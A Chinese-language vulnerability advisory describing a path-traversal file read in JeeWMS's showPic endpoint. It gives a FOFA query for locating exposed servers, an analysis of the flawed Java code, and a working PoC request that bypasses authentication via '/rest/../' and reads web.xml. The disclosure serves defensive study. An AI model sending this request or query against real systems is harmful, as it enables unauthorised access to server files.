JeeWMS cgformTemplateController.do 文件读取漏洞


漏洞简介

JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS cgformTemplateController.do 接口存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上任意文件内容,造成敏感信息泄露。

影响版本

20250515(最新版本)

fofa语法

body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"

漏洞分析

直接看 showPic 的实现部分 src/main/java/org/jeecgframework/web/cgform/controller/template/CgformTemplateController.java

    /**
     * 查看图片
     * @param request
     * @param code
     * @param path
     * @param response
     */
    @RequestMapping(params = "showPic")
    public void showPic(HttpServletRequest request,String code, String path,HttpServletResponse response){
        String defaultPath="default.jpg";
        String defaultCode="default/images/";
        //无图片情况
        if(path==null){
            path=defaultPath;
            code=defaultCode;
        }else{
            //临时图片
            if(code==null){
                code="temp/";
            }else{
                code+="/images/";
            }
        }
        FileInputStream fis = null;
        OutputStream out = null;
        response.setContentType("image/" + FileUtils.getExtend(path));
        try {
            out = response.getOutputStream();
            File file = new File(getUploadBasePath(request),code+path);
            if(!file.exists()||file.isDirectory()){
                file=new File(getUploadBasePath(request),defaultCode+defaultPath);
            }
            fis = new FileInputStream(file);
            byte[] b = new byte[fis.available()];
            fis.read(b);
            out.write(b);
            out.flush();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (fis != null) {
                try {
                    fis.close();
                    out.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

再看下 getUploadBasePath 方法的实现

//获取上传根路径
    private String getUploadBasePath(HttpServletRequest request){

//      String path=request.getSession().getServletContext().getRealPath("/WEB-INF/classes/online/template");

        ClassLoader classLoader = this.getClass().getClassLoader();  
        URL resource = classLoader.getResource("sysConfig.properties");
        String path = resource.getPath(); 
        path = path.substring(0,path.indexOf("sysConfig.properties"))+"online/template";
//      String path= this.getClass().getResource("/").getPath()+"online/template";

        path = path.replaceAll("%20", " ");//解决tomcat安装路径包含空格的问题
        return path;
    }
  • 代码中直接将前端传入的 code、path 拼接到服务器文件系统路径上:
    File file = new File(getUploadBasePath(request), code + path);
  • 对 code、path 从未做任何白名单、黑名单或正规化处理,也未限制只能在某个子目录下读取。
  • 这样一来,攻击者可以通过在 code 或 path 中携带“../”等路径穿越字符,访问任意文件。
  • 虽然有 if(!file.exists()||file.isDirectory()) 的判断,但只判断了文件是否存在或是否为目录,不会阻止“../”跳出预期目录。
  • getUploadBasePath 返回的基础目录是 /WEB-INF/classes/online/template
  • code=“../../../” → 拼接后变为 “../../../images/”
  • path=“../web.xml”
  • 合并后为 /online/template/../../../images/../web.xml 最终变为 /WEB-INF/web.xml

整体执行流程如下图所示

其次是根据 JeeWMS 框架的特点,访问URL也就是: /jeewms/cgformTemplateController.do (注意 jeewms 不一定存在),结合前面的权限绕过分析文章,也可以是 /jeewms/rest/../cgformTemplateController.do 或者 /rest/../cgformTemplateController.do

漏洞复现

POST /rest/../cgformTemplateController.do?showPic HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded

code=%2E%2E%2F%2E%2E%2F%2E%2E%2F&path=%2E%2E%2Fweb.xml

成功读取到 web.xml 文件

参考

  • https://gitee.com/erzhongxmu/JEEWMS/issues/I8YN90
  • https://gitee.com/erzhongxmu/JEEWMS/issues/IC5FNV

手机扫码阅读

Salia PLCC check_req.php 命令执行漏洞

用友NC及NC Cloud系统 getBapTableDatas SQL注入漏洞

评 论